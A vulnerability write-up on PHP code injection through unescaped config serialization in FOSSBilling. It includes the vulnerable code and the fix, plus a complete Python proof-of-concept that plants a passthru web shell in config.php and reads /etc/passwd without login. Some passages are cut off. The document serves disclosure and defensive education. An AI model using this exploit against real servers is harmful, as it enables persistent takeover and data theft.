Arbitrary PHP Code Injection via Unescaped Config Serialization → Remote Code Execution in FOSSBilling
Overview
config.php) using string interpolation with no escaping. A single quote in any string config value breaks out of the PHP string literal, injecting arbitrary code. Since config.php is loaded on every HTTP request via a bare include, injected code executes immediately — giving an authenticated admin full RCE as www-data.
During a source code review of FOSSBilling — an open-source web-based billing and client management platform used by hosting providers and SaaS operators — I identified a dangerous pattern in how the application serializes its runtime configuration. Rather than using a safe serialization format like JSON or PHP's var_export(), FOSSBilling writes configuration values directly into a PHP source file using naive string interpolation. This approach is fundamentally unsafe: any string value containing a single quote character will break out of the enclosing PHP string literal and allow arbitrary PHP statements to be injected.
The vulnerability is reachable from the admin API without any complex exploit chain. An admin user calls a documented endpoint, supplies a crafted value, and every subsequent HTTP request to the server then executes the injected payload. This grants the attacker persistent code execution that survives even if the original admin session is revoked.
Background
What is FOSSBilling?
FOSSBilling is a free, open-source billing and client management platform written in PHP. It is used primarily by web hosting companies and SaaS providers to automate invoicing, client registration, product provisioning, and support ticket management. The platform exposes both a client-facing frontend and a feature-rich admin panel. Its API is divided into guest, client, and admin namespaces.
Why config.php Matters
Unlike many modern PHP applications that store configuration in .env files or JSON, FOSSBilling persists its runtime configuration in a plain PHP file — config.php — that is loaded on every request. The file contains a PHP array definition:
<?php
return [
'interface_ip' => '0.0.0.0',
'url' => 'https://billing.example.com/',
'db_host' => 'localhost',
// ... dozens more keys
];
When FOSSBilling starts, its bootstrap code does include 'config.php'. Any PHP code present in that file — whether intentional or injected — runs at that point, before any authentication or routing logic has a chance to execute.
Root Cause Analysis
The Vulnerable Serialization Method
The root cause is in Config::prettyPrintArrayToPHP(), a recursive method that serializes the configuration array back to PHP source code whenever a config value is updated. The string branch is responsible for the injection:
if (is_string($value)) {
return " => '{$value}'," . PHP_EOL;
// $value is never escaped. A single quote ends the string literal.
}
This is the entirety of the string handling. If $value is hello, the output is => 'hello', — perfectly fine. But if $value is x']; system('id'); //, the output becomes:
// Generated output in config.php (injection payload):
'interface_ip' => 'x']; system('id'); //,
PHP evaluates this as: close the string with ', close the array with ], terminate the return with ;, then execute system('id'). The comment (//) swallows the trailing comma. The injected PHP is syntactically valid and executes cleanly.
Entry Point: set_interface_ip()
The most direct path to exploitation is through the admin API endpoint set_interface_ip(), which accepts user-supplied values and passes them into the config store with no sanitization at any layer:
public function set_interface_ip($data)
{
// Reads 'interface' from request data — no validation, no escaping
$interface = $data['interface'];
if ($interface === 'custom') {
$interface = $data['custom_interface'];
}
\FOSSBilling\Config::setProperty('interface_ip', $interface);
// setProperty → setConfig → prettyPrintArrayToPHP → writes to config.php
}
Broader Attack Surface
set_interface_ip() is just the most obvious path. The underlying Config::setConfig() and Config::setProperty() methods are called from dozens of places throughout the admin API. A grep across the codebase reveals over 30 call sites in admin API handlers — any that persist a user-controlled string value is a viable injection vector.
Config::setProperty() is exploitable on unpatched versions.
Full Attack Chain
Proof of Concept
The following script automates the full chain: login, inject, trigger, verify. Tested against FOSSBilling 0.7.2 running in Docker.
#!/usr/bin/env python3
# CVE-2026-43921 — FOSSBilling PHP Code Injection → RCE
# Usage: python3 poc.py http://target.local admin@example.com password
import requests, sys
TARGET = sys.argv[1]
EMAIL = sys.argv[2]
PASSWD = sys.argv[3]
s = requests.Session()
s.verify = False
# Step 1: Login
r = s.post(f"{TARGET}/api/guest/staff/login",
json={"email": EMAIL, "password": PASSWD})
r.raise_for_status()
token = r.json()["result"]["token"]
print(f"[+] Authenticated — token: {token[:20]}...")
# Step 2: Inject web shell into config.php
PAYLOAD = r"x']; passthru($_GET['c']); //"
r = s.post(f"{TARGET}/api/admin/system/set_interface_ip",
headers={"Authorization": f"Bearer {token}"},
json={"interface": "custom", "custom_interface": PAYLOAD})
print(f"[+] Payload written — HTTP {r.status_code}")
# Step 3: Trigger — any request now runs injected code
r = s.get(f"{TARGET}/?c=id")
output = r.text.split("<!DOCTYPE")[0].strip()
print(f"[!] RCE confirmed:\n {output}")
# Step 4: Demonstrate persistence — no login needed
r2 = requests.get(f"{TARGET}/?c=cat+/etc/passwd", verify=False)
passwd_lines = r2.text.split("<!DOCTYPE")[0].strip().split("\n")[:3]
print(f"[!] Persistent access — /etc/passwd preview:")
for line in passwd_lines:
print(f" {line}")
Expected output:
[+] Authenticated — token: eyJ0eXAiOiJKV1Q...
[+] Payload written — HTTP 200
[!] RCE confirmed:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Persistent access — /etc/passwd preview:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
config.php is permanent until the file is restored. Any unauthenticated request to the server can execute arbitrary commands by appending ?c=<cmd> — the admin session is no longer required.
Impact Assessment
Direct Impact
- Remote Code Execution as the web server user (
www-dataor equivalent). An attacker can read, write, and execute arbitrary files. - Full database access —
config.phpcontains the database credentials in plaintext. Injected code can dump the entire customer and billing database. - Credential theft — admin passwords, client passwords (hashed), API keys, SMTP credentials, and payment processor keys are all readable by
www-data. - Persistent backdoor — injected code survives credential rotation and session expiry. Recovery requires manual inspection and restoration of
config.php.
Privilege Requirement Context
The vulnerability requires admin access, which may seem to limit impact. However: (1) compromised admin credentials are common through credential stuffing; (2) in a typical FOSSBilling deployment the admin panel is often exposed to the internet with no IP restriction; (3) the expectation when an admin updates a server IP address is that the action should be bounded — the fact that it results in full OS code execution is a severe violation of the principle of least authority.
The Fix
The FOSSBilling team patched this in commit 6439eb356 (included in 0.8.0) by replacing the manual string interpolation with PHP's built-in var_export() function. var_export() produces a valid PHP literal representation of any value and handles all escaping internally.
// Before (vulnerable) — no escaping
if (is_string($value)) {
return " => '{$value}'," . PHP_EOL;
}
// After (patched) — var_export handles all escaping correctly
return ' => ' . var_export($value, true) . ',' . PHP_EOL;
6439eb356 on the private advisory fork and confirmed the fix is correct. A string like x']; system('id');// is safely serialized as 'x\']; system(\'id\');//'. Not bypassable via quote injection.
Key Takeaways
- Never embed user input in executable code. Config values updatable at runtime must be treated as untrusted data when written to files that will be
included orevald. - Prefer safe serialization formats. JSON, YAML, or
var_export()are safer alternatives to hand-rolling PHP source generators. The default should always be the safe option. - Code review config serialization paths. Any code that writes to a file later loaded by the PHP runtime is a potential code injection vector and deserves extra scrutiny.
- Persistence is a multiplier. Vulnerabilities that write to disk have higher impact than in-memory exploits because they survive mitigation actions like session revocation and credential rotation.
Disclosure Timeline
var_export() fix is correct and not bypassable.